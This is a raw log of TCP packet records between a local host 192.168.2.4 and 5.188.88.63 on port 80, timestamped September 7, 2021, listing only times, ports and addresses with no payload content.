Sep 7, 2021 16:02:40.400469065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400491953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400516987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400542974 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.400547028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400562048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.400564909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.400567055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.400779963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400809050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400837898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400860071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401012897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.401148081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401176929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401201010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401222944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401246071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.401285887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.401295900 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.401299953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.401302099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.405224085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415061951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415087938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415169954 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.415179968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415206909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415229082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415251970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415278912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415302038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415323973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.415394068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.415409088 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.415421963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.415429115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.416135073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416162968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416186094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416209936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416233063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416258097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416281939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416721106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416794062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.416805983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.416810036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.416810036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416815042 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.416836023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416862011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416886091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416908026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416930914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416958094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.416981936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417004108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417026997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417053938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417329073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417356968 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417371035 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417373896 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417376995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417378902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417718887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.417875051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417901993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417923927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.417978048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.418004036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.418029070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.418086052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.418107986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.418211937 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.418226004 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.418231010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.418234110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.419260979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.419291019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.419312000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.419387102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.419862986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.419925928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420205116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420232058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420262098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420286894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420309067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420309067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420334101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420358896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420382023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420403957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420428991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420450926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420473099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420485973 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420492887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420495987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420497894 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420500040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420526981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420551062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420573950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420597076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420609951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420614958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420618057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420622110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420648098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420670986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420695066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420721054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420737982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420743942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420746088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420769930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.420849085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.420937061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421001911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421041012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421066046 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421088934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421112061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421133995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421159029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421194077 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421204090 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421207905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421297073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421354055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421415091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421441078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421463013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421488047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421511889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421536922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421560049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.421581984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421592951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.421596050 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.423135042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.423162937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.423378944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.423873901 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.428056002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.429804087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.442200899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.442223072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.442244053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.442261934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.443175077 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.443193913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.445226908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.448952913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449207067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449280024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449296951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449311018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449408054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449425936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449443102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449480057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449510098 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449532032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449551105 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449570894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449589968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449608088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449625015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449642897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449661016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449677944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449693918 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449707985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449716091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449755907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.449759007 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.449868917 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.451766968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451795101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451819897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451843977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451864004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451884985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451903105 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451922894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.451946974 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.451961994 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.451967001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.452086926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.452630043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453448057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453468084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453486919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453537941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453552961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453577042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453598976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453619957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453639984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453659058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453676939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453696966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.453741074 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.453757048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.453759909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.453763008 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.453764915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.453768015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.454184055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.454206944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.454225063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.454245090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.454394102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.454420090 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.454482079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.454576015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.456497908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463527918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463551998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463570118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463591099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463594913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.463607073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463687897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.463697910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.463973045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.463996887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464016914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464034081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464054108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464071989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464090109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464107990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464124918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.464154959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.464178085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.464180946 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.464183092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.465468884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.465488911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.465507030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.465579987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.465601921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.467617989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.476802111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.476821899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.476841927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.476861000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477013111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477029085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477041960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477054119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477056026 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.477071047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477073908 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.477374077 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.477480888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477499008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477520943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477597952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477638006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477822065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477838993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477857113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477874041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477890015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477906942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477941036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477957010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477973938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.477991104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.478007078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.478018045 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478043079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478048086 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478050947 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478055000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478072882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478076935 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478080034 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.478844881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.478864908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.478882074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.479193926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.480144024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480160952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480178118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480195999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480242968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480262041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480281115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480298042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480314016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480325937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480336905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.480338097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.480353117 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.480360031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.480364084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.480423927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.481384993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483012915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483031988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483043909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483062029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483079910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483103991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483136892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483159065 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483165979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483170033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483180046 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483215094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483234882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483256102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483288050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483306885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483321905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483339071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483352900 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483359098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483361959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483372927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483376980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483381033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.483382940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483403921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483421087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.483438015 CEST	80	49744	5.188.88.63	192.168.2.4
